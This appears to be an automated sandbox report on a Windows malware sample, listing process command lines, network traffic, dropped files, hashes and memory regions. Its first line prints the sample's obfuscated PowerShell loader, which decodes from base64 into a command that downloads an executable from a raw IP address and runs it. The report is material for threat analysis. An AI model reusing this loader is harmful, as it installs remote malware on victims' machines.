"C:\Windows\sysTeM32\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE" "pOwerSHelL -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt ; IeX($(IEx('[sySTeM.tExt.EncOdInG]'+[cHaR]0x3a+[CHAR]58+'UTf8.geTstrINg([SySteM.coNVeRt]'+[CHar]0X3A+[Char]58+'frOmbase64striNG('+[cHar]34+'JHhzZ1dMTGJ3cHcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSREVGSU5JdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxR0Fnd2p0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnVEaE5SWGRkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmtGUlVRQWIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiS2NkY3VuVHoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTE1URWdJVnBORyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhzZ1dMTGJ3cHc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy4yNS8yNzAvdGFza2hvc3R3LmV4ZSIsIiRFTlY6QVBQREFUQVx0YXNraG9zdHcuZXhlIiwwLDApO1N0YVJ0LVNMRUVwKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB054.tmp" "c:\Users\Admin\AppData\Local\Temp\upyaxiqs\CSC72648FF7DFE243839548E0CE4642788.TMP"

C:\Users\Admin\AppData\Roaming\taskhostw.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 172.245.123.25:80 172.245.123.25 tcp
US 8.8.8.8:53 25.123.245.172.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
BR 132.226.247.73:80 checkip.dyndns.org tcp
US 8.8.8.8:53 73.247.226.132.in-addr.arpa udp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 134.177.67.172.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

memory/772-0-0x000000007158E000-0x000000007158F000-memory.dmp

memory/772-1-0x0000000002A40000-0x0000000002A76000-memory.dmp

memory/772-3-0x00000000055D0000-0x0000000005BF8000-memory.dmp

memory/772-2-0x0000000071580000-0x0000000071D30000-memory.dmp

memory/772-4-0x00000000053B0000-0x00000000053D2000-memory.dmp

memory/772-5-0x0000000005550000-0x00000000055B6000-memory.dmp

memory/772-6-0x0000000005C00000-0x0000000005C66000-memory.dmp

memory/772-7-0x0000000005C70000-0x0000000005FC4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yzrtfsr.2lj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/772-17-0x0000000006280000-0x000000000629E000-memory.dmp

memory/772-18-0x00000000062B0000-0x00000000062FC000-memory.dmp

memory/2124-28-0x00000000063F0000-0x0000000006422000-memory.dmp

memory/2124-29-0x000000006DE40000-0x000000006DE8C000-memory.dmp

memory/2124-39-0x00000000063D0000-0x00000000063EE000-memory.dmp

memory/2124-40-0x0000000007000000-0x00000000070A3000-memory.dmp

memory/2124-41-0x0000000007790000-0x0000000007E0A000-memory.dmp

memory/2124-42-0x0000000007140000-0x000000000715A000-memory.dmp

memory/2124-43-0x00000000071A0000-0x00000000071AA000-memory.dmp

memory/2124-44-0x00000000073D0000-0x0000000007466000-memory.dmp

memory/2124-45-0x0000000007340000-0x0000000007351000-memory.dmp

memory/2124-46-0x0000000007370000-0x000000000737E000-memory.dmp

memory/2124-47-0x0000000007380000-0x0000000007394000-memory.dmp

memory/2124-48-0x0000000007490000-0x00000000074AA000-memory.dmp

memory/2124-49-0x00000000073C0000-0x00000000073C8000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.cmdline

MD5 784f53ab1897e19293b9212b5afaadf9
SHA1 bd23c6b7e37d46c2418a95f33827a896411a1302
SHA256 57fc1823a9536f3de80c02a48300821052c9524c33c3f6355b303bc3b22b9ea2
SHA512 70ca938cd5c13f5e107853d3f424936d37741548e98d97fb4d92119fa4407ab03e9fbe97717e4a871f87a574cb715e92406ad93c6eeab39ae96c9504cd561e07

\??\c:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.0.cs

MD5 ecc2c10cb4c5954e2d5156bce54e41f4
SHA1 2d7cde31f9942c1dc80c493c03d675962991bf31
SHA256 21d7b2d886e9a8c3cf70d60b612151ecf35df156524dda00bc5f0c14df45b3ac
SHA512 bfce3f87e8f97f1a8f149c7f3e172e312019a4189fd1e33bdb7d2c617c6bbf41f548e91c12f71b5e8215397138ea643430f0ee87d72b33760c0dd2e3b8ae4d96

\??\c:\Users\Admin\AppData\Local\Temp\upyaxiqs\CSC72648FF7DFE243839548E0CE4642788.TMP

MD5 31e4ea0b6e9f53b01f3f62d4f6fddbb1
SHA1 f8f9d0dd2f1084fcc135f65b389c605a868526d9
SHA256 4326b0751eb1dc2abfe8affd7a197fc20e8f6c1637a4780cbc78d40ead18ceea
SHA512 3374c75172bd5a5ccfb6944e18ee11b11cbdb1b6a1698e59c4480b0fe4b0c519f6a5cfbd672472c2b9fa4f415ff997761e3b3b9c6e3811404077e56bb075907c

C:\Users\Admin\AppData\Local\Temp\RESB054.tmp

MD5 4164c6c34710670605f609249d20d82a
SHA1 73d79b1b9bd03c3b708b82128278d1dd189f8103
SHA256 24d8b7619fd5b4fdd3f63b838370dd616fa03745069151e0a5443e8c1b95ff95
SHA512 a85c699832692cddbad083a96dae6e2e9b039dc8a11941996a60d2a83f671cb7e713b98d0d12de7f7a8c899f944cb7c208ae781fb3f25a1c55eb3cde2ae11ebf

memory/772-64-0x0000000006910000-0x0000000006918000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\upyaxiqs\upyaxiqs.dll

MD5 a8c1b83835a4b540b879f2308ad810a4
SHA1 1eac1fbebcddf6f0324f42a247258020dad67f49
SHA256 4cc471b19f7d4bc201caa59e7ca643faa619243bdccd29b99c7d230122be9c50
SHA512 ad2d547ed29d3e9e6e449a8ca69d46ed645415840ac4d6d29652eb11bbfe34b3c4270461c8ad7cfa627685be2a39640cb56cde5da60d582922a0cc477717536d

memory/772-70-0x000000007158E000-0x000000007158F000-memory.dmp

memory/772-71-0x0000000071580000-0x0000000071D30000-memory.dmp

memory/772-72-0x0000000007730000-0x0000000007752000-memory.dmp

memory/772-73-0x00000000085E0000-0x0000000008B84000-memory.dmp

C:\Users\Admin\AppData\Roaming\taskhostw.exe

MD5 3e2f27edd3deacd8f08f6ed1133b2040
SHA1 060e3218949c5a006bb8607e8228e6539b737bfb
SHA256 163a25e2b68ed09eb4cf82f28c87568969091764bdfb4140b4675a00e2d2ed86
SHA512 da437c39e3337f6750c3b9353c71999c16415ec1fecdaa4bba676bb12207cb51a7258b91b175d1893ae4e9111fa9ccf027151ad7527d9d78df59f86436cfdb42

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e6cdfea27d70242a9b6934ea227d8b7d
SHA1 00747deb2dfd8db74300702468199f737ee3abcc
SHA256 e824b1d7d29b3cf0e518571eeaeef902b68d7c5c26f193122dfa3f03e15aed42
SHA512 969b6b2dbf9f0d28dab21121e7adee9892632d145a73a8730d39b3cf590cd5d4350a85683c220be28d5abcaf82ed795718c613d0e98f8d5feceec39ce8714b84

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoweRsHELl.ExE.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

memory/772-88-0x0000000071580000-0x0000000071D30000-memory.dmp

memory/4696-90-0x0000000000400000-0x0000000000426000-memory.dmp

memory/4696-91-0x0000000005780000-0x000000000581C000-memory.dmp

memory/4696-92-0x0000000006910000-0x0000000006960000-memory.dmp

memory/4696-93-0x0000000006B30000-0x0000000006CF2000-memory.dmp

memory/4696-94-0x0000000006A00000-0x0000000006A92000-memory.dmp

memory/4696-95-0x0000000006960000-0x000000000696A000-memory.dmp